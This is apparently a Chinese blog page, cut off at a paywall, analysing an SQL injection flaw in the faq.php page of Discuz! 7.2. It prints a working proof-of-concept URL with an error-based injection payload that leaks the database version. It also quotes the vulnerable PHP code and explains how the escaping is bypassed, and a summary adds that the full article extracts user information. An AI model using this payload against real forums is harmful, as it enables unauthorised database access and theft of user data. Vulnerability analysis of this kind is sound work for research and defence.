源码~ http://pan.baidu.com/s/1gfkvJrX
poc
/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23
discuz开启全局变量注册,所以不用声明请求的方式。
关键代码 148行
} elseif($action == 'grouppermission') {
...
...
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
定义数组groupids,
进入for循环,然后把$gids中第一个数组赋值给$groupids,看到这里的$row[0],当遇到数组时,取第一个数组,当遇到字符串时,取字符串的第一个字符。
discuz在全局会对GET数组进行addslashes转义,也就是说会将 ' 转义成 \',所以,如果我们的传入的参数是:gids[1]= ' 的话, 会

本文详细分析了Discuz!7.2的FAQ.php页面存在的SQL注入漏洞,通过示例POC展示了如何利用该漏洞进行SQL查询,包括获取数据库信息、用户信息等。关键在于Discuz全局变量处理导致的注入机会,通过巧妙构造参数绕过安全防护。
最低0.47元/天 解锁文章
1266

被折叠的 条评论
为什么被折叠?



